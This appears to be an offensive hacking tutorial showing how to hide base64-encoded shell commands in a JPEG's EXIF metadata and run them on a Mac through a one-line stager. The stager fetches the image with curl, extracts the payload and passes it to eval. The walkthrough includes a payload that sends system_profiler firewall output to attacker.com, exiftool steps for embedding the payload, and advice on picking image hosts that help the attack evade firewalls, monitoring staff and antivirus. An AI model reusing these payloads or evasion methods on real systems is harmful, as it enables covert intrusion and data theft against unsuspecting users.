Complex shell scripts can be implanted into photo metadata and later used to exploit a MacBook. In addition to obfuscating the true nature of an attack, this technique can be used to evade network firewalls as well as vigilant sysadmins.
In this attack scenario, a malicious command will be embedded directly into the EXIF metadata of an image file. The attacker would host the malicious image on a public website like Flickr, making it accessible for anyone to download. A stager will then be created to download the image, extract the metadata, and execute the embedded command.
To be clear, double-clicking the image file will not cause the embedded command to execute. That’s a different kind of macOS attack, something we’ve covered in another article. Instead, the command will be hidden in the metadata of the image and used as a payload delivery system.
The stager and payload are two different aspects of the attack. The stager is designed to download the image and execute the embedded payload, while the payload is the final bit of code (embedded in the picture) designed to perform one or more commands.
So, why have a stager at all if the attacker is already in a position to execute code on the target MacBook? Well, primarily, varying degrees of active evasion. Also, stagers can be quite small, only ~100 characters long, making them quicker to execute with a USB Rubber Ducky or MouseJack attack, for example.
In most scenarios, hiding a payload inside an image file isn’t required. In highly secure environments, however, where every domain is logged by firewall software, it may be beneficial to conceal the contents and origin of the payload.
With software like pfSense, every domain and IP address visited by each device on the network is logged. With commercial software like Fortinet’s FortiGate firewall, each packet can be thoroughly dissected for analysis. These kinds of firewalls make it difficult for an attacker using simple TCP connections established with Netcat to persist on the compromised device or covertly map the network.
The usage of images to conceal payloads can make it difficult for sysadmins monitoring traffic to identify the activity as malicious or suspicious.
In secured environments, operating systems may be configured to use custom certificates, which make it possible for network administrators to decrypt data going to and a from devices on the network. With tools like Wireshark, it’s possible to compile TCP streams and recreate image files using the raw captured data.
Premium versions of Avast and AVG antivirus software may analyze and detect certain kinds of stagers and payloads. For example, AV software can identify most stagers created by Empire. With hardened network environments, it may require a high degree of obfuscation to evade detection signatures. Utilizing stagers can make it difficult for AV software to detect the true nature of a particular file.
Before going forward, you should should have a general comfort with tools like curl, system_profiler, exiftool, grep, and Bash scripting before proceeding.
To get started, download the image that will be used in the attack. The stager (shown in a later step) won’t actually save the image to the target’s computer, so it doesn’t have to be an image of anything particularly relevant. For demonstration purposes, we can use Any profile picture, which can be downloaded using wget and saved (-O) to the /tmp directory.
~$ wget 'https://pbs.twimg.com/profile_images/944123132478189568/tgQESxWF_400x400.jpg' -O image.jpg --2019-05-15 06:50:22-- https://pbs.twimg.com/profile_images/944123132478189568/tgQESxWF_400x400.jpg Resolving pbs.twimg.com (pbs.twimg.com)... 184.108.40.206, 2606:2800:220:1410:489:141e:20bb:12f6 Connecting to pbs.twimg.com (pbs.twimg.com)|220.127.116.11|:443... connected. HTTP request sent, awaiting response... 200 OK Length: 19316 (19K) [image/jpeg] Saving to: ‘image.jpg’ image.jpg 100%[=================================>] 18.86K 64.4KB/s in 0.3s 2019-05-02 06:50:25 (64.4 KB/s) - ‘image.jpg’ saved [19316/19316]
For this example, we’ll first learn to execute a straightforward touch command. When the stager executes the payload embedded in the image, it will create an empty file on the macOS desktop called “hacked.”
First, use printf, base64, and tr to encode the payload. Base64 will encode the string, while tr will delete (-d) newlines (\n). You should always enclose the payload (touch ~/Desktop/hacked) in single-quotes.
~$ printf 'touch ~/Desktop/hacked' | base64 | tr -d '\n' dG91Y2ggfi9EZXNrdG9wL2hhY2tlZA==
A more complex payload, which involves macOS’s system_profiler command, can be used to perform situational awareness attacks as well as curl to exfiltrate the command’s output to the attacker’s server.
~$ printf 'd=$(system_profiler SPFirewallDataType);curl -s --data "$d" -X POST http://attacker.com/index.php' | base64 | tr -d '\n' ZD0kKHN5c3RlbV9wcm9maWxlciBTUEZpcmV3YWxsRGF0YVR5cGUpO2N1cmwgLXMgLS1kYXRhICIkZCIgLVggUE9TVCBodHRwOi8vYXR0YWNrZXIuY29tL2luZGV4LnBocA==
Taking it a step further, it would be possible to encode an entire Bash script that has been compressed into one line. In my tests, there seemed to be no limitation to how many characters can be embedded into a metadata tag.
~$ cat /path/to/any_script.sh | base64 | tr -d '\n' ZnVuY3Rpb24gZXhlY19oYWNrKCkgeyAvdXNyL2Jpbi90b3VjaCB+L0Rlc2t0b3AvaGFja2VkOyB9O2V4ZWNfaGFjawo=
To embed the encoded payload into the image, install exiftool.
~$ apt-get update && apt-get install exiftool -V Reading package lists... Done Building dependency tree Reading state information... Done Note, selecting 'libimage-exiftool-perl' instead of 'exiftool' The following NEW packages will be installed: libarchive-zip-perl (1.64-1) libimage-exiftool-perl (11.16-1) libmime-charset-perl (1.012.2-1) libposix-strptime-perl (0.13-1+b5) libsombok3 (2.4.0-2) libunicode-linebreak-perl (0.0.20190101-1) 0 upgraded, 6 newly installed, 0 to remove and 0 not upgraded. Need to get 3,629 kB of archives. After this operation, 21.0 MB of additional disk space will be used. Do you want to continue? [Y/n]
Then, clear any and all EXIF metadata that may be in the image.
~$ exiftool -all= image.jpg 1 image files updated
Then, use exiftool to add a metadata tag — it will work with any available tag — containing the encoded payload. The Certificate tag is used in this demonstration.
~$ exiftool -Certificate='dG91Y2ggfi9EZXNrdG9wL2hhY2tlZA==' image.jpg 1 image files updated
When that’s done, verify the Certificate tag was properly added with the following exiftool command. Notice the encoded string on line 13.
~$ exiftool image.jpg 01 ExifTool Version Number : 11.16 02 File Name : image.jpg 03 Directory : . 04 File Size : 21 kB 05 File Modification Date/Time : 2019:05:02 06:50:57+00:00 06 File Access Date/Time : 2019:05:02 06:50:57+00:00 07 File Inode Change Date/Time : 2019:05:02 06:50:57+00:00 08 File Permissions : rw-r--r-- 09 File Type : JPEG 10 File Type Extension : jpg 11 MIME Type : image/jpeg 12 XMP Toolkit : Image::ExifTool 11.16 13 Certificate : dG91Y2ggfi9EZXNrdG9wL2hhY2tlZA== 14 Image Width : 400 15 Image Height : 400 16 Encoding Process : Progressive DCT, Huffman coding 17 Bits Per Sample : 8 18 Color Components : 3 19 Y Cb Cr Sub Sampling : YCbCr4:2:0 (2 2) 20 Image Size : 400x400 21 Megapixels : 0.160
Finding a suitable website is tricky. The criteria for this is severalfold.
Many popular websites like Twitter, Imgur, and Instagram automatically wipe metadata from images when uploaded, which is done primarily to protect users from accidentally uploading photos containing GPS coordinates that would allow cyberstalkers and cyberbullies to harass and find those users.
Images containing payloads would be wiped when uploaded to mainstream websites. The candidate website would have to be manually tested by first uploading the image, then downloading it, and using exiftool to see if the embedded payload is still intact.
Transport layer security is essential to further obfuscating this attack. The website used to host the image should use HTTPS, which will help in preventing sysadmins from analyzing the GET request with surgical precision.
Ideally, the website used in the attack would be one visited by the target regularly. For example, if the target visited a particular news website every morning, a visit to this domain wouldn’t appear suspicious to sysadmins monitoring traffic on the network. On the other hand, an unusual GET request to a foreign website or adult website will probably raise some red flags. This kind of information can be enumerated during the reconnaissance phase with covert packet captures. The key is to make the traffic look as ordinary to the target’s web behavior as possible.
In my quick attempts to extract metadata from images using native macOS tools, none seemed capable of accessing or displaying the particular string (“Certificate”) of EXIF metadata embedded in the image. Fortunately, grep has an -a option which allows it to process binary files (i.e., images) as if they were plaintext, allowing it to find the “Certificate” string in the metadata.
Below is an example stager that can be used to download images, extract and decode payloads, then execute the command(s).
~$ p=$(curl -s https://website.com/image.jpg | grep Cert -a | sed 's/<[^>]*>//g' | base64 -D);eval $p
There are a few things happening here, so I’ll break down each section of the stager.
- p=$(…) — Most of the stager is enclosed in a variable called “p” (aka payload), done primarily to keep the image from being saved directly to the target’s macOS hard drive.
- curl -s https://website.com/image.jpg — Curl is used here to silently (-s) download the image containing the payload from a website of the attacker’s choosing. The image is immediately piped (|) into the following grep command.
- grep Cert -a — Grep will take the raw image data, process it as a plaintext (-a) while searching for the “Cert” string. That output would appear in a terminal as shown below.
- sed ‘s/<[^>]*>//g’ — The above output is immediately piped into this sed command. Sed will remove all surrounding XML data (i.e., <xmpRights></xmpRights>), leaving only the encoded string.
- base64 -D — The encoded string is piped into this base64 command where it’s decoded with the -D option, ultimately, making the $p variable the decoded payload.
- eval $p — Finally, eval is used to evaluate the variable as a command, effectively executing the payload in its variable form.
We can verify the attack was successfully executed by finding the “hacked” file on the macOS desktop.
Again, this is a very simple payload. More sophisticated attacks may involve automated browser password dumping, microphone eavesdropping, situational awareness enumeration, privilege escalation, sudo password exfiltration, and so on.